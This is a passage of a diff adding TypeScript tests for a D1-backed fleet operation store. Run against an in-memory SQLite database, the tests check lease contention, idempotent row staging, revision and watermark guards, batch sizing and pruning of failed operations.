+    await target.readOperationRowsPage({
+      operationId: OPERATION_ID,
+      rowKind,
+      limit: 10,
+    })
+  ).rows;
+}
+
+async function seedTerminal(
+  target: D1FleetOperationStore,
+  kind: FleetOperationKind,
+  operationId: string,
+  state: 'finalized' | 'failed',
+): Promise<FleetOperationRunRecord> {
+  return target.withAccountOperationLease(kind, async (lease) => {
+    const created = await start(lease, kind, operationId);
+    const terminal = advanced(created.record, state);
+    if (state === 'finalized') {
+      return lease.finalizeOperation({
+        operationId,
+        expectedRevision: 0,
+        runRecord: terminal,
+        expectedRowCounts: {},
+      });
+    }
+    await lease.failOperation({
+      operationId,
+      expectedRevision: 0,
+      runRecord: terminal,
+    });
+    const persisted = await lease.readOperation(operationId);
+    if (!persisted) throw new Error('failed seed operation disappeared');
+    return persisted;
+  });
+}
+
+async function rejection(operation: Promise<unknown>): Promise<Error> {
+  try {
+    await operation;
+  } catch (error) {
+    return error as Error;
+  }
+  throw new Error('operation unexpectedly resolved');
+}
+
+function rowCount(db: MemoryD1): number {
+  return Number(
+    db.sqlite
+      .prepare('SELECT COUNT(*) AS count FROM anchorage_fleet_operation_rows')
+      .all()[0]?.count,
+  );
+}
+
+class FakeInventoryStore implements FleetInventoryRunStore {
+  readonly pins = new Set<string>();
+  readonly releases: string[] = [];
+  crashAfterRelease = false;
+
+  withAccountInventoryLease<T>(): Promise<T> {
+    throw new Error('unused inventory capability');
+  }
+  readFinalizedGeneration(): Promise<FleetInventoryGeneration> {
+    throw new Error('unused inventory capability');
+  }
+  latestFinalizedGeneration(): Promise<
+    FleetInventoryGenerationRef | undefined
+  > {
+    throw new Error('unused inventory capability');
+  }
+  readRunByOperation(): Promise<FleetInventoryRunRecord | undefined> {
+    throw new Error('unused inventory capability');
+  }
+  pinGeneration(input: {
+    generation: number;
+    pinnedBy: string;
+  }): Promise<void> {
+    this.pins.add(`${input.generation}:${input.pinnedBy}`);
+    return Promise.resolve();
+  }
+  releasePin(input: { generation: number; pinnedBy: string }): Promise<void> {
+    const key = `${input.generation}:${input.pinnedBy}`;
+    this.pins.delete(key);
+    this.releases.push(key);
+    if (this.crashAfterRelease) {
+      this.crashAfterRelease = false;
+      return Promise.reject(new Error('crash after pin release'));
+    }
+    return Promise.resolve();
+  }
+  pruneInventoryGenerations(): Promise<Readonly<{ deleted: number }>> {
+    throw new Error('unused inventory capability');
+  }
+}
+
+describe('D1FleetOperationStore', () => {
+  it('four-table schema + PRAGMA drift fail-closed', async () => {
+    const db = new MemoryD1();
+    await store(db).readOperationById(OPERATION_ID);
+    const tables = db.sqlite
+      .prepare(
+        `SELECT name FROM sqlite_master
+          WHERE type = 'table' AND name LIKE 'anchorage_fleet_operation_%'
+          ORDER BY name`,
+      )
+      .all()
+      .map((row) => String(row.name));
+    expect(tables).toEqual([
+      'anchorage_fleet_operation_heads',
+      'anchorage_fleet_operation_leases',
+      'anchorage_fleet_operation_rows',
+      'anchorage_fleet_operations',
+    ]);
+    const drifted = new MemoryD1();
+    drifted.sqlite.exec(`CREATE TABLE anchorage_fleet_operation_heads (
+      account_id TEXT, operation_kind TEXT, active_operation_id INTEGER
+    )`);
+    await expect(
+      store(drifted).readOperationById(OPERATION_ID),
+    ).rejects.toThrow("column 'active_operation_id' is absent or incompatible");
+  });
+
+  it("startOperation claims the head and returns outcome: 'created'", async () => {
+    const db = new MemoryD1();
+    const result = await store(db).withAccountOperationLease('audit', (lease) =>
+      start(lease),
+    );
+    expect(result).toEqual({
+      outcome: 'created',
+      record: runRecord('audit', 0),
+    });
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT active_operation_id FROM anchorage_fleet_operation_heads',
+        )
+        .all()[0]?.active_operation_id,
+    ).toBe(OPERATION_ID);
+  });
+
+  it("start replay on a TERMINAL operation returns outcome: 'adopted-terminal' with the persisted record", async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const terminal = await seedTerminal(
+      target,
+      'audit',
+      OPERATION_ID,
+      'finalized',
+    );
+    const replay = await target.withAccountOperationLease('audit', (lease) =>
+      start(lease),
+    );
+    expect(replay).toEqual({ outcome: 'adopted-terminal', record: terminal });
+  });
+
+  it("start probe on a RUNNING digest-match returns outcome: 'adopted-running' and the resume's revision-1 commit converges idempotently", async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    let intended: FleetOperationRunRecord | undefined;
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [recordRow(0)],
+      });
+      intended = advanced(created.record);
+      await lease.commitProgress({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: intended,
+        expectedRowWatermarks: { record: 1 },
+      });
+    });
+    const replay = await target.withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const adopted = await start(lease);
+        const converged = await lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: intended as FleetOperationRunRecord,
+          expectedRowWatermarks: { record: 1 },
+        });
+        return { adopted, converged };
+      },
+    );
+    expect(replay.adopted.outcome).toBe('adopted-running');
+    expect(replay.adopted.record.progress.revision).toBe(1);
+    expect(replay.converged).toEqual(intended);
+  });
+
+  it('intake-digest mismatch conflict', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', (lease) => start(lease));
+    await expect(
+      target.withAccountOperationLease('audit', (lease) =>
+        start(lease, 'audit', OPERATION_ID, OTHER_DIGEST),
+      ),
+    ).rejects.toThrow(
+      `fleet operation '${OPERATION_ID}' already exists with a different intake`,
+    );
+  });
+
+  it('same-kind foreign active operation contends', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', (lease) => start(lease));
+    await expect(
+      target.withAccountOperationLease('audit', (lease) =>
+        start(lease, 'audit', SECOND_OPERATION_ID),
+      ),
+    ).rejects.toThrow(
+      'another fleet audit operation is active for this account',
+    );
+  });
+
+  it('a NULL head is not re-claimed for an existing operation', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await seedTerminal(target, 'audit', OPERATION_ID, 'finalized');
+    await target.withAccountOperationLease('audit', (lease) => start(lease));
+    expect(
+      db.sqlite
+        .prepare(
+          `SELECT active_operation_id FROM anchorage_fleet_operation_heads
+            WHERE operation_kind = 'audit'`,
+        )
+        .all()[0]?.active_operation_id,
+    ).toBeNull();
+  });
+
+  it('cross-kind operation-id reuse fails closed', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await seedTerminal(target, 'audit', OPERATION_ID, 'failed');
+    await expect(
+      target.withAccountOperationLease('migration', (lease) =>
+        start(lease, 'migration'),
+      ),
+    ).rejects.toThrow(fleetOperationOtherKindMessage(OPERATION_ID));
+  });
+
+  it("the other kind's active operation does NOT contend", async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', (lease) => start(lease));
+    await expect(
+      target.withAccountOperationLease('migration', (lease) =>
+        start(lease, 'migration', SECOND_OPERATION_ID),
+      ),
+    ).resolves.toMatchObject({ outcome: 'created' });
+  });
+
+  it('two-account same-UUID isolation (composite PK)', async () => {
+    const db = new MemoryD1();
+    const first = store(db, 'account-one');
+    const second = store(db, 'account-two');
+    await first.withAccountOperationLease('audit', (lease) => start(lease));
+    await second.withAccountOperationLease('audit', (lease) => start(lease));
+    expect(
+      db.sqlite
+        .prepare(
+          `SELECT account_id FROM anchorage_fleet_operations
+            WHERE operation_id = ? ORDER BY account_id`,
+        )
+        .all(OPERATION_ID)
+        .map((row) => row.account_id),
+    ).toEqual(['account-one', 'account-two']);
+  });
+
+  it('stageRows guarded inserts land zero rows on stale lease/revision', async () => {
+    const staleRevisionDb = new MemoryD1();
+    const target = store(staleRevisionDb);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 1,
+        rows: [recordRow(0)],
+      });
+    });
+    expect(rowCount(staleRevisionDb)).toBe(0);
+
+    const staleLeaseDb = new MemoryD1();
+    const staleTarget = store(staleLeaseDb);
+    await rejection(
+      staleTarget.withAccountOperationLease('audit', async (lease) => {
+        await start(lease);
+        await staleLeaseDb.execute(
+          'DELETE FROM anchorage_fleet_operation_leases',
+        );
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [recordRow(0)],
+        });
+      }),
+    );
+    expect(rowCount(staleLeaseDb)).toBe(0);
+
+    const mismatchedItemDb = new MemoryD1();
+    await expect(
+      store(mismatchedItemDb).withAccountOperationLease(
+        'migration',
+        async (lease) => {
+          await start(lease, 'migration');
+          await lease.stageRows({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            rows: [{ ...itemRow(), ordinal: 1 }],
+          });
+        },
+      ),
+    ).rejects.toThrow('fleet operation state is malformed');
+    expect(rowCount(mismatchedItemDb)).toBe(0);
+  });
+
+  it('stageRows refuses different immutable bytes and rolls back sibling inserts', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [recordRow(1, 'original')],
+      });
+      let caught: unknown;
+      try {
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [recordRow(0, 'sibling'), recordRow(1, 'different')],
+        });
+      } catch (error) {
+        caught = error;
+      }
+      expect(await readRows(target, 'record')).toEqual([
+        recordRow(1, 'original'),
+      ]);
+      expect(await target.readOperationById(OPERATION_ID)).toEqual(
+        created.record,
+      );
+      expect(caught).toBeInstanceOf(Error);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [recordRow(0, 'sibling'), recordRow(1, 'original')],
+      });
+      await expect(
+        lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          expectedRowWatermarks: { record: 2 },
+        }),
+      ).resolves.toEqual(advanced(created.record));
+    });
+  });
+
+  it('stageRows splits at 100 statements per batch', async () => {
+    const db = new MemoryD1();
+    await store(db).withAccountOperationLease('audit', async (lease) => {
+      await start(lease);
+      db.batchSizes.length = 0;
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: Array.from({ length: 205 }, (_, index) => recordRow(index)),
+      });
+      expect(db.batchSizes).toEqual([100, 100, 5]);
+    });
+  });
+
+  it('watermark guards hold under a retry with a DIFFERENT chunk size (surplus deterministic rows tolerated)', async () => {
+    const db = new MemoryD1();
+    const result = await store(db).withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: Array.from({ length: 5 }, (_, index) => recordRow(index)),
+        });
+        const intended = advanced(created.record);
+        const transition = {
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: intended,
+          rows: [
+            ...Array.from({ length: 6 }, (_, index) => findingRow(index)),
+            ...Array.from({ length: 6 }, (_, index) => factRow(index)),
+          ],
+          expectedRowWatermarks: { record: 2 },
+        } as const;
+        const bindingMark = db.bindingCounts.length;
+        db.failNextBatchAfterCommit = true;
+        await expect(lease.commitProgress(transition)).rejects.toThrow(
+          'committed batch response lost',
+        );
+        const commitBindingCounts = [
+          ...Array.from({ length: 12 }, () => 17),
+          13,
+        ];
+        expect(db.bindingCounts.slice(bindingMark)).toEqual(
+          commitBindingCounts,
+        );
+        const refusedBatchMark = db.batchSizes.length;
+        await expect(
+          lease.commitProgress({
+            ...transition,
+            expectedRowWatermarks: { record: 6 },
+          }),
+        ).rejects.toThrow(
+          `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+        );
+        expect(db.batchSizes.slice(refusedBatchMark)).toEqual([
+          transition.rows.length + 1,
+        ]);
+        const converged = await lease.commitProgress(transition);
+        expect(db.bindingCounts.slice(bindingMark)).toEqual([
+          ...commitBindingCounts,
+          ...commitBindingCounts,
+          ...commitBindingCounts,
+        ]);
+
+        return converged;
+      },
+    );
+    expect(result.progress.revision).toBe(1);
+  });
+
+  it('the watermark guard blocks a short intake at the revision-1 commit', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const error = await target.withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [recordRow(0)],
+        });
+        return rejection(
+          lease.commitProgress({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: advanced(created.record),
+            expectedRowWatermarks: { record: 2 },
+          }),
+        );
+      },
+    );
+    expect(error.message).toBe(
+      `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+    );
+    expect(
+      (await target.readOperationById(OPERATION_ID))?.progress.revision,
+    ).toBe(0);
+  });
+
+  it('commitProgress refuses a stale revision', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    let batchMark = 0;
+    const error = await target.withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        batchMark = db.batchSizes.length;
+        return rejection(
+          lease.commitProgress({
+            operationId: OPERATION_ID,
+            expectedRevision: 2,
+            runRecord: advanced(advanced(advanced(created.record))),
+          }),
+        );
+      },
+    );
+    expect(error.message).toBe(
+      `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+    );
+    expect(db.batchSizes.slice(batchMark)).toHaveLength(1);
+    expect(
+      (await target.readOperationById(OPERATION_ID))?.progress.revision,
+    ).toBe(0);
+  });
+
+  it.each([
+    false,
+    true,
+  ])('commitProgress refuses different staged bytes without advancing or keeping sibling writes (hidden response %s)', async (hidden) => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [recordRow(1, 'original')],
+      });
+      db.hideBatchResults = hidden;
+      let caught: unknown;
+      try {
+        await lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          rows: [recordRow(0, 'sibling'), recordRow(1, 'different')],
+        });
+      } catch (error) {
+        caught = error;
+      }
+      db.hideBatchResults = false;
+      expect(await target.readOperationById(OPERATION_ID)).toEqual(
+        created.record,
+      );
+      expect(await readRows(target, 'record')).toEqual([
+        recordRow(1, 'original'),
+      ]);
+      expect(caught).toBeInstanceOf(Error);
+      await expect(
+        lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          rows: [recordRow(0, 'sibling'), recordRow(1, 'original')],
+          expectedRowWatermarks: { record: 2 },
+        }),
+      ).resolves.toEqual(advanced(created.record));
+    });
+  });
+
+  it.each([
+    false,
+    true,
+  ])('commitProgress refuses a missing update target before sibling writes (hidden response %s)', async (hidden) => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('migration', async (lease) => {
+      const created = await start(lease, 'migration');
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [itemRow('pending', 0)],
+      });
+      const transition = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record),
+        rows: [itemRow('pending', 2)],
+        updateRows: [itemRow('active', 0), itemRow('active', 1)],
+      };
+      db.hideBatchResults = hidden;
+      let caught: unknown;
+      try {
+        await lease.commitProgress(transition);
+      } catch (error) {
+        caught = error;
+      }
+      db.hideBatchResults = false;
+      expect(await target.readOperationById(OPERATION_ID)).toEqual(
+        created.record,
+      );
+      expect(await readRows(target, 'item')).toEqual([itemRow('pending', 0)]);
+      expect(caught).toBeInstanceOf(Error);
+      expect((caught as Error).message).toBe(
+        "fleet operation '" +
+          OPERATION_ID +
+          "' is no longer at the expected revision",
+      );
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [itemRow('pending', 1)],
+      });
+      db.hideBatchResults = hidden;
+      await expect(lease.commitProgress(transition)).resolves.toEqual(
+        advanced(created.record),
+      );
+      await expect(lease.commitProgress(transition)).resolves.toEqual(
+        advanced(created.record),
+      );
+      expect(await readRows(target, 'item')).toEqual([
+        itemRow('active', 0),
+        itemRow('active', 1),
+        itemRow('pending', 2),
+      ]);
+    });
+  });
+
+  it.each([
+    'account',
+    'operation',
+  ] as const)('commitProgress scopes missing update targets by %s even outside its watermark', async (scope) => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const foreign = store(
+      db,
+      scope === 'account' ? 'account-other' : 'account-primary',
+    );
+    await foreign.withAccountOperationLease('migration', async (lease) => {
+      const id = scope === 'operation' ? SECOND_OPERATION_ID : OPERATION_ID;
+      await start(lease, 'migration', id);
+      await lease.stageRows({
+        operationId: id,
+        expectedRevision: 0,
+        rows: [itemRow('pending', 1)],
+      });
+      await lease.failOperation({
+        operationId: id,
+        expectedRevision: 0,
+        runRecord: runRecord('migration', 1, 'failed', id),
+      });
+    });
+    await target.withAccountOperationLease('migration', async (lease) => {
+      const created = await start(lease, 'migration');
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [itemRow('pending', 0)],
+      });
+      await expect(
+        lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          updateRows: [itemRow('active', 1)],
+          expectedRowWatermarks: { item: 1 },
+        }),
+      ).rejects.toThrow(
+        "fleet operation '" +
+          OPERATION_ID +
+          "' is no longer at the expected revision",
+      );
+      expect(await target.readOperationById(OPERATION_ID)).toEqual(
+        created.record,
+      );
+      expect(await readRows(target, 'item')).toEqual([itemRow('pending', 0)]);
+    });
+  });
+
+  it('commitProgress accepts canonical record key order on exact restaging', async () => {
+    const db = new MemoryD1();
+    await store(db).withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [{ rowKind: 'record', ordinal: 0, payload: { z: 1, a: 2 } }],
+      });
+      await expect(
+        lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          rows: [{ rowKind: 'record', ordinal: 0, payload: { a: 2, z: 1 } }],
+          expectedRowWatermarks: { record: 1 },
+        }),
+      ).resolves.toEqual(advanced(created.record));
+    });
+  });
+
+  it('commitProgress converges on byte-identical replay', async () => {
+    const db = new MemoryD1();
+    const result = await store(db).withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        const intended = advanced(created.record);
+        const input = {
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: intended,
+          rows: [findingRow()],
+        };
+        await lease.commitProgress(input);
+        return lease.commitProgress(input);
+      },
+    );
+    expect(result.progress.revision).toBe(1);
+  });
+
+  it('rows landed by a mid-batch lease expiry recover only on a byte-identical retry', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      const transition = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record),
+        rows: [findingRow(0, 'payload A'), findingRow(1, 'payload B')],
+      };
+      // The lease expires between the row inserts and the run-record update,
+      // so the rows land while the progress update matches nothing.
+      db.refuseNextBatchTrailingStatement = true;
+      expect((await rejection(lease.commitProgress(transition))).message).toBe(
+        `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+      );
+      expect(
+        (await target.readOperationById(OPERATION_ID))?.progress.revision,
+      ).toBe(0);
+      expect(
+        (await readRows(target, 'finding')).map((row) => row.payload.detail),
+      ).toEqual(['payload A', 'payload B']);
+      // A retry that rebuilds ordinal 1 from different bytes cannot land over
+      // the row already staged under that ordinal, and takes nothing with it.
+      await expect(
+        lease.commitProgress({
+          ...transition,
+          rows: [findingRow(0, 'payload A'), findingRow(1, 'payload C')],
+        }),
+      ).rejects.toThrow();
+      expect(
+        (await readRows(target, 'finding')).map((row) => row.payload.detail),
+      ).toEqual(['payload A', 'payload B']);
+      expect(
+        (await target.readOperationById(OPERATION_ID))?.progress.revision,
+      ).toBe(0);
+      // The retry that reproduces every per-ordinal payload converges over the
+      // landed rows and completes the transition they were staged for.
+      expect((await lease.commitProgress(transition)).progress.revision).toBe(
+        1,
+      );
+    });
+    expect(
+      (await readRows(target, 'finding')).map((row) => row.payload.detail),
+    ).toEqual(['payload A', 'payload B']);
+  });
+
+  it('corruption on divergent replay', async () => {
+    const db = new MemoryD1();
+    const error = await store(db).withAccountOperationLease(
+      'audit',
+      async (lease) => {
+        const created = await start(lease);
+        const intended = advanced(created.record);
+        await lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [recordRow(0, 'persisted')],
+          runRecord: intended,
+        });
+        return rejection(
+          lease.commitProgress({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: intended,
+            rows: [recordRow(0, 'different')],
+          }),
+        );
+      },
+    );
+    expect(error.message).toBe(
+      `fleet operation '${OPERATION_ID}' staged rows diverge from the persisted operation`,
+    );
+  });
+
+  it('a commitProgress refused on a watermark leaves no row a later commit can converge over: foreign-kind watermark', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [recordRow(0)],
+      });
+      const batchMark = db.batchSizes.length;
+      await expect(
+        lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          rows: [findingRow(0, 'payload A')],
+          expectedRowWatermarks: { record: 2 },
+        }),
+      ).rejects.toThrow(
+        new Error(
+          `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+        ),
+      );
+      expect(db.batchSizes.slice(batchMark)).toHaveLength(1);
+      expect(await readRows(target, 'finding')).toEqual([]);
+      expect(
+        (await target.readOperationById(OPERATION_ID))?.progress.revision,
+      ).toBe(0);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [recordRow(1)],
+      });
+      const committed = await lease.commitProgress({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record),
+        rows: [findingRow(0, 'payload B')],
+        expectedRowWatermarks: { record: 2 },
+      });
+      expect(committed.progress.revision).toBe(1);
+    });
+    expect((await readRows(target, 'finding'))[0]?.payload.detail).toBe(
+      'payload B',
+    );
+  });
+
+  it('a commitProgress refused on a watermark leaves no row a later commit can converge over: inserted-kind watermark', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      const transition = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record),
+        rows: [findingRow(1)],
+        expectedRowWatermarks: { finding: 2 },
+      } as const;
+      const batchMark = db.batchSizes.length;
+      await expect(lease.commitProgress(transition)).rejects.toThrow(
+        new Error(
+          `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+        ),
+      );
+      expect(db.batchSizes.slice(batchMark)).toHaveLength(1);
+      expect(await readRows(target, 'finding')).toEqual([]);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [findingRow(0)],
+      });
+      expect((await lease.commitProgress(transition)).progress.revision).toBe(
+        1,
+      );
+    });
+    expect(
+      (await readRows(target, 'finding')).map((row) => row.ordinal),
+    ).toEqual([0, 1]);
+  });
+
+  it('a commitProgress refused on a watermark leaves no row a later commit can converge over: surplus staged rows', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [findingRow(2)],
+      });
+      expect(
+        (
+          await lease.commitProgress({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: advanced(created.record),
+            rows: [findingRow(0), findingRow(1), findingRow(2)],
+            expectedRowWatermarks: { finding: 3 },
+          })
+        ).progress.revision,
+      ).toBe(1);
+    });
+    expect(
+      (await readRows(target, 'finding')).map((row) => row.ordinal),
+    ).toEqual([0, 1, 2]);
+  });
+
+  it('a commitProgress refused on a watermark leaves no row a later commit can converge over: noncontiguous insert refusal', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('audit', async (lease) => {
+      const created = await start(lease);
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [findingRow(0)],
+      });
+      const batchMark = db.batchSizes.length;
+      const refused = await rejection(
+        lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          rows: [findingRow(0), findingRow(2)],
+          expectedRowWatermarks: { finding: 3 },
+        }),
+      );
+      expect(refused.message).toBe(
+        fleetOperationWatermarkRunMessage('finding'),
+      );
+      expect(db.batchSizes.slice(batchMark)).toEqual([]);
+    });
+    expect(
+      (await readRows(target, 'finding')).map((row) => row.ordinal),
+    ).toEqual([0]);
+  });
+
+  it('a commitProgress refused on a watermark leaves no row a later commit can converge over: item update watermark', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('migration', async (lease) => {
+      const created = await start(lease, 'migration');
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [itemRow('pending', 0)],
+      });
+      const batchMark = db.batchSizes.length;
+      const refused = await rejection(
+        lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(created.record),
+          updateRows: [itemRow('active', 0)],
+          expectedRowWatermarks: { item: 2 },
+        }),
+      );
+      expect(refused.message).toBe(
+        `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+      );
+      expect(db.batchSizes.slice(batchMark)).toHaveLength(1);
+    });
+    expect((await readRows(target, 'item'))[0]?.payload.status).toBe('pending');
+  });
+
+  it('a guarded item-row update stands or falls with the run update', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    let error: Error | undefined;
+    const result = await target.withAccountOperationLease(
+      'migration',
+      async (lease) => {
+        const created = await start(lease, 'migration');
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [itemRow('pending')],
+        });
+        error = await rejection(
+          lease.commitProgress({
+            operationId: OPERATION_ID,
+            expectedRevision: 1,
+            runRecord: advanced(advanced(created.record)),
+            updateRows: [itemRow('active')],
+          }),
+        );
+        const pending = await lease.readOperation(OPERATION_ID);
+        if (!pending) throw new Error('operation disappeared');
+        return lease.commitProgress({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: advanced(pending),
+          updateRows: [itemRow('active')],
+          expectedRowWatermarks: { item: 1 },
+        });
+      },
+    );
+    expect(error?.message).toBe(
+      `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+    );
+    expect(result.progress.revision).toBe(1);
+    const page = await target.readOperationRowsPage({
+      operationId: OPERATION_ID,
+      rowKind: 'item',
+      limit: 10,
+    });
+    expect(page.rows[0]?.payload.status).toBe('active');
+  });
+
+  it('a commitProgress losing the revision race to an abandon reports the conflict, not corruption', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    const error = await target.withAccountOperationLease(
+      'migration',
+      async (lease) => {
+        const created = await start(lease, 'migration');
+        await lease.stageRows({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          rows: [itemRow('pending', 0)],
+        });
+        const abandoned: FleetOperationRunRecord = {
+          ...created.record,
+          state: 'failed',
+          progress: {
+            ...created.record.progress,
+            revision: 1,
+            failure: { reason: 'operator-abandoned' },
+          },
+        };
+        await lease.failOperation({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: abandoned,
+        });
+        const batchMark = db.batchSizes.length;
+        const refused = await rejection(
+          lease.commitProgress({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: advanced(created.record),
+            updateRows: [itemRow('active', 0)],
+            expectedRowWatermarks: { item: 1 },
+          }),
+        );
+        expect(db.batchSizes.slice(batchMark)).toHaveLength(1);
+        return refused;
+      },
+    );
+    expect(error.message).toBe(
+      `fleet operation '${OPERATION_ID}' is no longer at the expected revision`,
+    );
+    const persisted = await target.readOperationById(OPERATION_ID);
+    expect(persisted?.state).toBe('failed');
+    expect(persisted?.progress.revision).toBe(1);
+    expect((await readRows(target, 'item'))[0]?.payload.status).toBe('pending');
+  });
+
+  it('a commitProgress after the operation is pruned reports the unknown operation, not a watermark conflict', async () => {
+    const db = new MemoryD1();
+    const target = store(db);
+    await target.withAccountOperationLease('migration', async (lease) => {
+      const created = await start(lease, 'migration');
+      await lease.stageRows({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        rows: [itemRow('pending', 0)],
+      });
+      await lease.failOperation({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: advanced(created.record, 'failed'),
+      });
+    });
+    expect(
+      await target.pruneFleetOperations({ kind: 'migration', limit: 10 }),
+    ).toEqual({ deleted: 1, releasedPins: 0 });
+    expect(await target.readOperationById(OPERATION_ID)).toBeUndefined();
+    expect(rowCount(db)).toBe(0);
+    const error = await target.withAccountOperationLease(
+      'migration',
+      async (lease) => {
+        const batchMark = db.batchSizes.length;
+        const refused = await rejection(
+          lease.commitProgress({
+            operationId: OPERATION_ID,
+            expectedRevision: 0,
+            runRecord: runRecord('migration', 1),
+            expectedRowWatermarks: { item: 1 },
+          }),
+        );
